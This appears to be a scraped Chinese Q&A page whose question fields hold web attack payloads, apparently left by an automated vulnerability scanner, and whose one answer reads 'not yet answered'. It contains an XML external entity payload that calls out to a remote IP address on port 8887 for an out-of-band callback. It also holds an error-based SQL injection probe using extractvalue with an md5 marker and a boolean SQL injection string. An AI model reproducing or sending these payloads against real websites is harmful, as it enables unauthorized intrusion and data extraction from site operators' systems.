问:
答:暂未回答
问:<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY content SYSTEM "http://66.23.235.105:8887/i/48f251/r1d8/t4ag/">]><a>&content;</a>
问:extractvalue(1,concat(char(126),md5(1101643267)))
问:'and'f'='f